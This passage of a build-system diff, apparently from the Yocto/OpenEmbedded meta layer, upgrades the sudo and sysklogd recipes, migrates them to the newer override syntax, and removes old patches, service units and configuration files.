+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
-CONFFILES_${PN} = "${sysconfdir}/sudoers"
+EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
-EXTRA_OECONF = "--with-editor=/bin/vi --with-env-editor"
+EXTRA_OECONF:append:libc-musl = " --disable-hardening "
-EXTRA_OECONF_append_libc-musl = " --disable-hardening "
-
-# mksigname/mksiglist are used on build host to generate source files
-do_compile_prepend () {
- # Remove build host references from sudo_usage.h
- sed -i \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--build=${BUILD_SYS},,g' \
- -e 's,--host=${HOST_SYS},,g' \
- ${B}/src/sudo_usage.h
- oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist
+do_compile:prepend () {
+ # Remove build host references from config.h
+ sed -i \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--build=${BUILD_SYS},,g' \
+ -e 's,--host=${HOST_SYS},,g' \
+ ${B}/config.h
}
# Explicitly create ${localstatedir}/lib before do_install to ensure
@@ -41,6 +43,8 @@ do_compile_prepend () {
# script (from sudo) will recursively create ${localstatedir}/lib/sudo
# and then chmod each directory with 0700 permissions, which isn't what
# we want (i.e, users would not be able to access /var/lib).
-do_install_prepend (){
+do_install:prepend (){
mkdir -p ${D}/${localstatedir}/lib
}
+
+CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch b/meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch
deleted file mode 100644
index eb36cd49bb..0000000000
--- a/meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 386e2c2fa2ab2e02ef71c268a57205139be329ab Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 07:07:49 +0000
-Subject: [PATCH] Include sys/types.h for id_t definition
-
-/sudo_util.h:219:14: error: unknown type name 'id_t'
- __dso_public id_t sudo_strtoid_v1(const char *str, const char *sep,
- char **endp, const char **errstr);
- ^
- make[1]: *** [preserve_fds.o] Error 1
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- include/sudo_util.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/include/sudo_util.h b/include/sudo_util.h
-index 89c9f89..ac0855a 100644
---- a/include/sudo_util.h
-+++ b/include/sudo_util.h
-@@ -17,6 +17,8 @@
- #ifndef SUDO_UTIL_H
- #define SUDO_UTIL_H
-
-+#include <sys/types.h>
-+
- #ifdef HAVE_STDBOOL_H
- # include <stdbool.h>
- #else
---
-2.5.1
-
diff --git a/meta/recipes-extended/sudo/sudo_1.8.21p2.bb b/meta/recipes-extended/sudo/sudo_1.8.21p2.bb
deleted file mode 100644
index acd0025abc..0000000000
--- a/meta/recipes-extended/sudo/sudo_1.8.21p2.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-require sudo.inc
-
-SRC_URI = "http://ftp.sudo.ws/sudo/dist/sudo-${PV}.tar.gz \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://0001-Include-sys-types.h-for-id_t-definition.patch \
- "
-
-PAM_SRC_URI = "file://sudo.pam"
-
-SRC_URI[md5sum] = "cd3993d910c713ae72e94beebd230b22"
-SRC_URI[sha256sum] = "74c5746cd33a814e2431c39faf0d76f7f8a697379bd073862e3b156cf0d76368"
-
-DEPENDS += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
-
-EXTRA_OECONF += " \
- ac_cv_type_rsize_t=no \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
- "
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
- fi
-
- chmod 4111 ${D}${bindir}/sudo
- chmod 0440 ${D}${sysconfdir}/sudoers
-
- # Explicitly remove the ${localstatedir}/run directory to avoid QA error
- rmdir -p --ignore-fail-on-non-empty ${D}${localstatedir}/run/sudo
-}
-
-FILES_${PN} += "${libdir}/tmpfiles.d"
-FILES_${PN}-dev += "${libexecdir}/${BPN}/lib*${SOLIBSDEV} ${libexecdir}/${BPN}/*.la \
- ${libexecdir}/lib*${SOLIBSDEV} ${libexecdir}/*.la"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.15p5.bb b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
new file mode 100644
index 0000000000..8e542015ad
--- /dev/null
+++ b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
@@ -0,0 +1,61 @@
+require sudo.inc
+
+SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
+ "
+
+PAM_SRC_URI = "file://sudo.pam"
+
+SRC_URI[sha256sum] = "558d10b9a1991fb3b9fa7fa7b07ec4405b7aefb5b3cb0b0871dbc81e3a88e558"
+
+DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_type_rsize_t=no \
+ ac_cv_path_MVPROG=${base_bindir}/mv \
+ ac_cv_path_BSHELLPROG=${base_bindir}/sh \
+ ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
+ ac_cv_path_VIPROG=${base_bindir}/vi \
+ "
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
+ --with-rundir=/run/sudo \
+ --with-vardir=/var/lib/sudo \
+ --libexecdir=${libdir} \
+ "
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
+ echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
+ sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
+ fi
+ fi
+
+ chmod 4111 ${D}${bindir}/sudo
+ chmod 0440 ${D}${sysconfdir}/sudoers
+
+ # Explicitly remove the /sudo directory to avoid QA error
+ rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
+}
+
+FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
+ ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
+
+CONFFILES:${PN}-lib = "${sysconfdir}/sudoers"
+
+SUDO_PACKAGES = "${PN}-sudo\
+ ${PN}-lib"
+
+PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
+
+RDEPENDS:${PN}-sudo = "${PN}-lib"
+RDEPENDS:${PN} += "${SUDO_PACKAGES}"
+
+FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
+FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch b/meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 9567946c0c..0000000000
--- a/meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,132 +0,0 @@
-From f0af5bcfd753691652eac35efbcb208c933253f1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 05:11:53 +0000
-Subject: [PATCH] Fix build with musl
-
-Explicitly include fcntl.h since with glibc is comes in as indirect
-include but not with musl
-
-linux/time.h inclusion is not required on musl so using !__GLIBC__ is
-not right for musl here
-
-wait type is glibc specific
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- klogd.c | 10 +---------
- ksym_mod.c | 5 +----
- pidfile.c | 1 +
- syslog.c | 3 ++-
- syslogd.c | 4 +---
- 5 files changed, 6 insertions(+), 17 deletions(-)
-
-diff --git a/klogd.c b/klogd.c
-index 6cc80ed..9219671 100644
---- a/klogd.c
-+++ b/klogd.c
-@@ -260,11 +260,8 @@
- #include <unistd.h>
- #include <signal.h>
- #include <errno.h>
--#include <sys/fcntl.h>
-+#include <fcntl.h>
- #include <sys/stat.h>
--#if !defined(__GLIBC__)
--#include <linux/time.h>
--#endif /* __GLIBC__ */
- #include <stdarg.h>
- #include <paths.h>
- #include <stdlib.h>
-@@ -277,13 +274,8 @@
-
- #define __LIBRARY__
- #include <linux/unistd.h>
--#if !defined(__GLIBC__)
--# define __NR_ksyslog __NR_syslog
--_syscall3(int,ksyslog,int, type, char *, buf, int, len);
--#else
- #include <sys/klog.h>
- #define ksyslog klogctl
--#endif
-
- #define LOG_BUFFER_SIZE 4096
- #define LOG_LINE_LENGTH 1000
-diff --git a/ksym_mod.c b/ksym_mod.c
-index 68cd6b6..6e26da1 100644
---- a/ksym_mod.c
-+++ b/ksym_mod.c
-@@ -113,12 +113,9 @@
- #include <unistd.h>
- #include <signal.h>
- #include <errno.h>
--#include <sys/fcntl.h>
-+#include <fcntl.h>
- #include <sys/stat.h>
- #include "module.h"
--#if !defined(__GLIBC__)
--#include <linux/time.h>
--#endif /* __GLIBC__ */
- #include <stdarg.h>
- #include <paths.h>
- #include <linux/version.h>
-diff --git a/pidfile.c b/pidfile.c
-index e0959a0..6daa2e0 100644
---- a/pidfile.c
-+++ b/pidfile.c
-@@ -31,6 +31,7 @@
- #include <string.h>
- #include <errno.h>
- #include <signal.h>
-+#include <fcntl.h>
-
- /* read_pid
- *
-diff --git a/syslog.c b/syslog.c
-index bdb3ff2..ef7b34e 100644
---- a/syslog.c
-+++ b/syslog.c
-@@ -55,7 +55,7 @@ static char sccsid[] = "@(#)syslog.c 5.28 (Berkeley) 6/27/90";
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/file.h>
--#include <sys/signal.h>
-+//#include <sys/signal.h>
- #include <sys/syslog.h>
- #if 0
- #include "syslog.h"
-@@ -72,6 +72,7 @@ static char sccsid[] = "@(#)syslog.c 5.28 (Berkeley) 6/27/90";
- #include <stdarg.h>
- #include <paths.h>
- #include <stdio.h>
-+#include <fcntl.h>
-
- #define _PATH_LOGNAME "/dev/log"
-
-diff --git a/syslogd.c b/syslogd.c
-index ea73ea5..1ca0595 100644
---- a/syslogd.c
-+++ b/syslogd.c
-@@ -818,9 +818,7 @@ void doexit(int sig);
- void init();
- void cfline(char *line, register struct filed *f);
- int decode(char *name, struct code *codetab);
--#if defined(__GLIBC__)
- #define dprintf mydprintf
--#endif /* __GLIBC__ */
- static void dprintf(char *, ...);
- static void allocate_log(void);
- void sighup_handler();
-@@ -2094,7 +2092,7 @@ void reapchild()
- (void) signal(SIGCHLD, reapchild); /* reset signal handler -ASP */
- wait ((int *)0);
- #else
-- union wait status;
-+ int status;
-
- while (wait3(&status, WNOHANG, (struct rusage *) NULL) > 0)
- ;
---
-2.5.1
-
diff --git a/meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch b/meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch
deleted file mode 100644
index 56431af845..0000000000
--- a/meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From cb72b3e172c238b4b5ae5935dc6be54f5034fcf1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 30 Jun 2017 18:20:06 -0700
-Subject: [PATCH 1/2] fix problems that causes a segmentation fault under some
- conditions
-
-Upstream-Status: Inappropriate [ no upstream ]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ksym_mod.c | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/ksym_mod.c b/ksym_mod.c
-index 6e26da1..a3daa7d 100644
---- a/ksym_mod.c
-+++ b/ksym_mod.c
-@@ -186,7 +186,6 @@ extern int InitMsyms()
- else
- Syslog(LOG_ERR, "Error loading kernel symbols " \
- "- %s\n", strerror(errno));
-- fclose(ksyms);
- return(0);
- }
-
---
-2.13.2
-
diff --git a/meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch b/meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch
deleted file mode 100644
index ebbdef303b..0000000000
--- a/meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b22f244732cd0f475af2f82fc7eecec49f90623b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 1 Jul 2017 00:01:50 -0700
-Subject: [PATCH 2/2] Make way for respecting flags from environment
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 5af1689..af699d2 100644
---- a/Makefile
-+++ b/Makefile
-@@ -17,14 +17,12 @@
- # along with this program; if not, write to the Free Software
- # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
-
--CC= gcc
- #SKFLAGS= -g -DSYSV -Wall
- #LDFLAGS= -g
--SKFLAGS= $(RPM_OPT_FLAGS) -O3 -DSYSV -fomit-frame-pointer -Wall -fno-strength-reduce
-+SKFLAGS = $(CFLAGS) $(CPPFLAGS) -DSYSV -Wall -fno-strength-reduce
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE
- # $(shell getconf LFS_SKFLAGS)
--LDFLAGS= -s
-
- # Look where your install program is.
- INSTALL = /usr/bin/install
---
-2.13.2
-
diff --git a/meta/recipes-extended/sysklogd/files/klogd.service b/meta/recipes-extended/sysklogd/files/klogd.service
deleted file mode 100644
index 0c888c497d..0000000000
--- a/meta/recipes-extended/sysklogd/files/klogd.service
+++ /dev/null
@@ -1,13 +0,0 @@
-[Unit]
-Description=Kernel Logging Service
-After=syslogd.service
-
-[Service]
-Type=forking
-ExecStart=/sbin/klogd
-PIDFile=/var/run/klogd.pid
-StandardOutput=null
-Restart=on-failure
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-extended/sysklogd/files/no-strip-install.patch b/meta/recipes-extended/sysklogd/files/no-strip-install.patch
deleted file mode 100644
index 00fba71017..0000000000
--- a/meta/recipes-extended/sysklogd/files/no-strip-install.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-Index: sysklogd-1.5/Makefile
-===================================================================
---- sysklogd-1.5.orig/Makefile 2009-06-09 13:02:41.000000000 +0200
-+++ sysklogd-1.5/Makefile 2009-06-09 13:03:06.000000000 +0200
-@@ -127,8 +127,8 @@
- rm -f syslogd klogd ksym syslog_tst oops_test TAGS tsyslogd tklogd
-
- install_exec: syslogd klogd
-- ${INSTALL} -m 500 -s syslogd ${BINDIR}/syslogd
-- ${INSTALL} -m 500 -s klogd ${BINDIR}/klogd
-+ ${INSTALL} -m 500 syslogd ${BINDIR}/syslogd
-+ ${INSTALL} -m 500 klogd ${BINDIR}/klogd
-
- install_man:
- ${INSTALL} -m ${MAN_PERMS} sysklogd.8 ${MANDIR}/man8/sysklogd.8
diff --git a/meta/recipes-extended/sysklogd/files/no-vectorization.patch b/meta/recipes-extended/sysklogd/files/no-vectorization.patch
deleted file mode 100644
index c1cc042c9c..0000000000
--- a/meta/recipes-extended/sysklogd/files/no-vectorization.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate
-
-The compiler should not be generating vectorized instructions on this target.
-This is a work around until I can determine why this is occuring on this
-particular recipe
-
-Index: sysklogd-1.5/Makefile
-===================================================================
---- sysklogd-1.5.orig/Makefile
-+++ sysklogd-1.5/Makefile
-@@ -20,7 +20,8 @@
- CC= gcc
- #SKFLAGS= -g -DSYSV -Wall
- #LDFLAGS= -g
--SKFLAGS= $(RPM_OPT_FLAGS) -O3 -DSYSV -fomit-frame-pointer -Wall -fno-strength-reduce
-+SKFLAGS= $(RPM_OPT_FLAGS) -O3 -DSYSV -fomit-frame-pointer -Wall -fno-strength-reduce \
-+ -fno-tree-vectorize
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE
- # $(shell getconf LFS_SKFLAGS)
diff --git a/meta/recipes-extended/sysklogd/files/sysklogd b/meta/recipes-extended/sysklogd/files/sysklogd
index 258f882803..050772b59d 100755
--- a/meta/recipes-extended/sysklogd/files/sysklogd
+++ b/meta/recipes-extended/sysklogd/files/sysklogd
@@ -18,12 +18,13 @@
PATH=/bin:/usr/bin:/sbin:/usr/sbin
pidfile_syslogd=/var/run/syslogd.pid
-pidfile_klogd=/var/run/klogd.pid
-binpath_syslogd=/sbin/syslogd
-binpath_klogd=/sbin/klogd
+binpath_syslogd=/usr/sbin/syslogd
test -x $binpath || exit 0
+# run secure by default
+SYSLOGD="-ss"
+
test ! -r /etc/default/syslogd || . /etc/default/syslogd
create_xconsole()
@@ -90,42 +91,46 @@ running()
return 0
}
+waitpid ()
+{
+ pid=$1
+ # Give pid a chance to exit before we restart with a 5s timeout in 1s intervals
+ if [ -z "$pid" ]; then
+ return
+ fi
+ timeout=5;
+ while [ $timeout -gt 0 ]
+ do
+ timeout=$(( $timeout-1 ))
+ kill -0 $pid 2> /dev/null || break
+ sleep 1
+ done
+}
+
case "$1" in
start)
log_begin_msg "Starting system log daemon..."
create_xconsole
start-stop-daemon --start --quiet --pidfile $pidfile_syslogd --name syslogd --startas $binpath_syslogd -- $SYSLOGD
log_end_msg $?
- log_begin_msg "Starting kernel log daemon..."
- start-stop-daemon --start --quiet --pidfile $pidfile_klogd --name klogd --startas $binpath_klogd -- $KLOGD
- log_end_msg $?
;;
stop)
log_begin_msg "Stopping system log daemon..."
start-stop-daemon --stop --quiet --pidfile $pidfile_syslogd --name syslogd
log_end_msg $?
- log_begin_msg "Stopping kernel log daemon..."
- start-stop-daemon --stop --quiet --retry 3 --exec $binpath_klogd --pidfile $pidfile_klogd
- log_end_msg $?
;;
reload|force-reload)
log_begin_msg "Reloading system log daemon..."
start-stop-daemon --stop --quiet --signal 1 --pidfile $pidfile_syslogd --name syslogd
log_end_msg $?
- log_begin_msg "Reloading kernel log daemon..."
- start-stop-daemon --stop --quiet --retry 3 --exec $binpath_klogd --pidfile $pidfile_klogd
- start-stop-daemon --start --quiet --pidfile $pidfile_klogd --name klogd --startas $binpath_klogd -- $KLOGD
- log_end_msg $?
;;
restart)
log_begin_msg "Restarting system log daemon..."
+ pid=`cat $pidfile_syslogd 2> /dev/null`
start-stop-daemon --stop --retry 5 --quiet --pidfile $pidfile_syslogd --name syslogd
+ waitpid $pid
start-stop-daemon --start --quiet --pidfile $pidfile_syslogd --name syslogd --startas $binpath_syslogd -- $SYSLOGD
log_end_msg $?
- log_begin_msg "Reloading kernel log daemon..."
- start-stop-daemon --stop --quiet --retry 3 --exec $binpath_klogd --pidfile $pidfile_klogd
- start-stop-daemon --start --quiet --pidfile $pidfile_klogd --name klogd --startas $binpath_klogd -- $KLOGD
- log_end_msg $?
;;
reload-or-restart)
if running
@@ -138,8 +143,6 @@ case "$1" in
status)
status syslogd
RETVAL=$?
- status klogd
- rval=$?
[ $RETVAL -eq 0 ] && exit $rval
exit $RETVAL
;;
diff --git a/meta/recipes-extended/sysklogd/files/syslog.conf b/meta/recipes-extended/sysklogd/files/syslog.conf
deleted file mode 100644
index 0849de1268..0000000000
--- a/meta/recipes-extended/sysklogd/files/syslog.conf
+++ /dev/null
@@ -1,71 +0,0 @@
-# /etc/syslog.conf Configuration file for syslogd.
-#
-# Ported from debian by Yu Ke <ke.yu@intel.com>
-#
-
-#
-# First some standard logfiles. Log by facility.
-#
-
-auth,authpriv.* /var/log/auth.log
-*.*;auth,authpriv.none -/var/log/syslog
-#cron.* /var/log/cron.log
-daemon.* -/var/log/daemon.log
-kern.* -/var/log/kern.log
-lpr.* -/var/log/lpr.log
-mail.* -/var/log/mail.log
-user.* -/var/log/user.log
-
-#
-# Logging for the mail system. Split it up so that
-# it is easy to write scripts to parse these files.
-#
-mail.info -/var/log/mail.info
-mail.warn -/var/log/mail.warn
-mail.err /var/log/mail.err
-
-# Logging for INN news system
-#
-news.crit /var/log/news.crit
-news.err /var/log/news.err
-news.notice -/var/log/news.notice
-
-#
-# Some `catch-all' logfiles.
-#
-*.=debug;\
-auth,authpriv.none;\
-news.none;mail.none -/var/log/debug
-
-*.=info;*.=notice;*.=warn;\
-auth,authpriv.none;\
-cron,daemon.none;\
-mail,news.none -/var/log/messages
-
-#
-# Emergencies are sent to everybody logged in.
-#
-*.emerg *
-
-#
-# I like to have messages displayed on the console, but only on a virtual
-# console I usually leave idle.
-#
-#daemon,mail.*;\
-#news.=crit;news.=err;news.=notice;\
-#*.=debug;*.=info;\
-#*.=notice;*.=warn /dev/tty8
-
-# The named pipe /dev/xconsole is for the `xconsole' utility. To use it,
-# you must invoke `xconsole' with the `-file' option:
-#
-# $ xconsole -file /dev/xconsole [...]
-#
-# NOTE: adjust the list below, or you'll go crazy if you have a reasonably
-# busy site..
-#
-daemon.*;mail.*;\
-news.err;\
-*.=debug;*.=info;\
-*.=notice;*.=warn |/dev/xconsole
-
diff --git a/meta/recipes-extended/sysklogd/files/syslogd.service b/meta/recipes-extended/sysklogd/files/syslogd.service
deleted file mode 100644
index eeaff3d38d..0000000000
--- a/meta/recipes-extended/sysklogd/files/syslogd.service
+++ /dev/null
@@ -1,14 +0,0 @@
-[Unit]
-Description=System Logging Service
-Requires=syslog.socket
-
-[Service]
-Type=forking
-ExecStart=/sbin/syslogd
-PIDFile=/var/run/syslogd.pid
-StandardOutput=null
-Restart=on-failure
-
-[Install]
-WantedBy=multi-user.target
-Alias=syslog.service
diff --git a/meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf b/meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf
deleted file mode 100644
index f4aecd385b..0000000000
--- a/meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf
+++ /dev/null
@@ -1 +0,0 @@
-p /dev/xconsole 0640 root adm
diff --git a/meta/recipes-extended/sysklogd/sysklogd.inc b/meta/recipes-extended/sysklogd/sysklogd.inc
deleted file mode 100644
index 1a537fabf4..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd.inc
+++ /dev/null
@@ -1,72 +0,0 @@
-SUMMARY = "System Log Daemons"
-DESCRIPTION = "The sysklogd package implements two system log daemons: syslogd, klogd"
-HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
-SECTION = "base"
-
-LICENSE = "GPLv2+ & BSD"
-LICENSE_syslogd = "BSD"
-LICENSE_klogd = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://syslogd.c;beginline=2;endline=15;md5=77ffb2fec48c46d7ca0abb2d5813e7fd \
- file://klogd.c;beginline=2;endline=19;md5=7e87ed0ae6142de079bce738c10c899d \
- "
-
-inherit update-rc.d systemd
-
-SRC_URI = "http://www.infodrom.org/projects/sysklogd/download/sysklogd-${PV}.tar.gz \
- file://no-strip-install.patch \
- file://0001-Fix-build-with-musl.patch \
- file://0001-fix-problems-that-causes-a-segmentation-fault-under-.patch \
- file://0002-Make-way-for-respecting-flags-from-environment.patch \
- file://sysklogd \
- file://syslog.conf \
- file://syslogd.service \
- file://klogd.service \
- file://tmpfiles.sysklogd.conf \
- "
-
-SRC_URI_append_e500v2 = " file://no-vectorization.patch"
-
-SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "syslogd.service klogd.service"
-SYSTEMD_AUTO_ENABLE = "enable"
-
-INITSCRIPT_NAME = "syslog"
-CONFFILES_${PN} = "${sysconfdir}/syslog.conf"
-RCONFLICTS_${PN}-syslog = "rsyslog busybox-syslog syslog-ng"
-
-CFLAGS += "-DSYSV -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE"
-
-do_install () {
- install -d ${D}${mandir}/man8 \
- ${D}${mandir}/man5 \
- ${D}${base_sbindir}
- oe_runmake 'BINDIR=${D}${base_sbindir}' \
- 'MANDIR=${D}${mandir}' install
- install -d ${D}${sysconfdir}
- install -m 644 ${WORKDIR}/syslog.conf ${D}${sysconfdir}/syslog.conf
- install -d ${D}${sysconfdir}/init.d
- install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
- install -d ${D}${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/syslogd.service ${D}${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/klogd.service ${D}${systemd_unitdir}/system
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true', 'false', d)}; then
- install -d ${D}${exec_prefix}/lib/tmpfiles.d
- install -m 644 ${WORKDIR}/tmpfiles.sysklogd.conf ${D}${exec_prefix}/lib/tmpfiles.d/sysklogd.conf
- fi
-}
-
-FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
-
-pkg_prerm_${PN} () {
- if test "x$D" = "x"; then
- if test "$1" = "upgrade" -o "$1" = "remove"; then
- /etc/init.d/syslog stop || :
- fi
- fi
-}
-
-python () {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
diff --git a/meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb b/meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb
deleted file mode 100644
index 975ecc2b63..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-require sysklogd.inc
-
-SRC_URI[md5sum] = "c70599ab0d037fde724f7210c2c8d7f8"
-SRC_URI[sha256sum] = "5166c185ae23c92e8b9feee66a6e3d0bc944bf673112f53e3ecf62e08ce7c201"
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
new file mode 100644
index 0000000000..c9c9055142
--- /dev/null
+++ b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
@@ -0,0 +1,56 @@
+SUMMARY = "System Log Daemons"
+DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
+HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
+SECTION = "base"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
+ file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
+ "
+
+inherit update-rc.d update-alternatives systemd autotools
+
+SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https \
+ file://sysklogd \
+ "
+
+SRCREV = "3332c550f1a68393daec5d64cd81f3b7674c0af5"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}
+ install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
+ install -d ${D}${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
+}
+
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "syslogd.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+INITSCRIPT_NAME = "syslog"
+CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
+RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
+
+FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-doc = "syslogd.8"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+
+pkg_prerm:${PN} () {
+ if test "x$D" = "x"; then
+ if test "$1" = "upgrade" -o "$1" = "remove"; then
